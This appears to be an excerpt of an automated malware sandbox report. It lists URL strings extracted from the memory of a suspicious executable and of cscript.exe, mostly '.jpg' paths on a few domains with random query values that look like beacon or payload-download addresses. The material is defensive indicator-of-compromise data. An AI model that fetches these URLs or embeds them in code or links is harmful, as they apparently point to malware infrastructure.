Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3842902328.00000000046D3000.00000004.10000000.00040000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3790167124.0000000002408000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3812391802.00000000039CC000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281486806.0000000000870000.00000004.00000020.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3790167124.000000000240E000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.0000000002495000.00000040.00001000.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3762604592.0000000000641000.00000040.00000001.01000000.00000004.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281602249.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000027.00000002.3814434317.0000000004A33000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?17915f51=790806178
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?17915f51=790806178m
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?17b6de9=99465124~
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?20a6d64=68475592
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?3c7c82ae=1557994188
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?5d86df=18388125
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?5e57086d=-1805567237
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?6685e72=645019308
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?7b245cb2=-326012216
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?7b245cb2=-326012216B
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?7b245cb2=-326012216F
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.000000000084E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?8d5f7dbb=897447660
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?90e4380b=1133568044
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?90e4380b=11335680442&_
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.000000000084E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?93473576=646867692
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AD1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?9a20876f=88427094
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AD1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?9a20876f=88427094s
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.000000000084E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?b36f01f5=1725826026
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.000000000084E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?b36f01f5=1725826026fA
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?cfe83619=260640381
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?cfe83619=260640381L&A
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?e60800=75376640L
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.000000000084E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?ee51bd01=-593266174
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3842902328.00000000046D3000.00000004.10000000.00040000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3790167124.0000000002408000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3812391802.00000000039CC000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281486806.0000000000870000.00000004.00000020.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3790167124.000000000240E000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.0000000002495000.00000040.00001000.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3762604592.0000000000641000.00000040.00000001.01000000.00000004.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281602249.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000027.00000002.3814434317.0000000004A33000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpghttp://www.careerdesk.org/images/xs.jpghttp://arthur.niria.biz/xs.j
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3842902328.00000000046D3000.00000004.10000000.00040000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3790167124.0000000002408000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3812391802.00000000039CC000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281486806.0000000000870000.00000004.00000020.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3790167124.000000000240E000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.0000000002495000.00000040.00001000.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3762604592.0000000000641000.00000040.00000001.01000000.00000004.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281602249.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000027.00000002.3814434317.0000000004A33000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AD1000.00000004.00000020.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?1
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?13a89f9=164909000
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?1964acc0=1278084672
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?1H
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?1b99da6=86825202
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?1c98993=269866539
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?27da790=167157312s.Tz
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?325396b5=-1835223640
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?362c1e4=113607624#.
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?37f8d56f=1339359386
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?37f8d56f=1339359386L
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?434c9e5=282273684
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?45eba6e7=794638136
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?59e2a88=565509936
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?626616cd=-335646207
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?811c5c4=406147404#
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?811c5c4=406147404dS.tz
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?84b38e=43483590
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?84b38e=43483590:
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?8a282b2c=-954651084
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?a5242bcc=-834303444
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?a5242bcc=-834303444LEu
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?a8241ece=-1855376372
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?a8241ece=-18553763721
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?e4bc5c05=1550460958
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?e4bc5c05=1550460958LCuy
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3842902328.00000000046D3000.00000004.10000000.00040000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3790167124.0000000002408000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3812391802.00000000039CC000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281486806.0000000000870000.00000004.00000020.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3790167124.000000000240E000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.0000000002495000.00000040.00001000.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3762604592.0000000000641000.00000040.00000001.01000000.00000004.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281602249.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000027.00000002.3814434317.0000000004A33000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?105cc6e8=823547064
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?177b7c4b=-749248861
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?177b7c4b=-749248861_
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?223453a1=573854625
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?223453a1=573854625A
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?5f3bd7f4=-102842464
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?62d506=64770620
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?62d506=64770620M
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AD1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?73b8b348=-2059992880
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?73b8b348=-20599928806
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AD1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?73b8b348=-2059992880Z
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?73b8b348=-2059992880q
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?7591ea6=1109529558
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?8660f531=856140168ON
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?9d5d58f=660035132
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?9d5d58f=660035132170
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?9d5d58f=660035132P
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?9d5d58f=660035132W?=
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?9d5d58f=660035132_
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?9d5d58f=660035132l
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?9d5d58f=660035132urity
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?9d5d58f=660035132x
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?9de48b26=-1928797098
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?9de48b26=-1928797098j
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?a524d199=690392264
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?ae2be931=352810790
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?ba897d5a=-1165394598
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?c46dd74c=-702204804
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?c46dd74c=-702204804f
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?c8127ba=419581812
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?da340bf8=1758474208u
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?e84f9f45=-397435067
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?e84f9f45=-397435067e
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?f619fdc=1806393092o
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.000000000084E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?f6512876=-1299627088
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?f6512876=-1299627088L
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?fc1317fd=-526860312
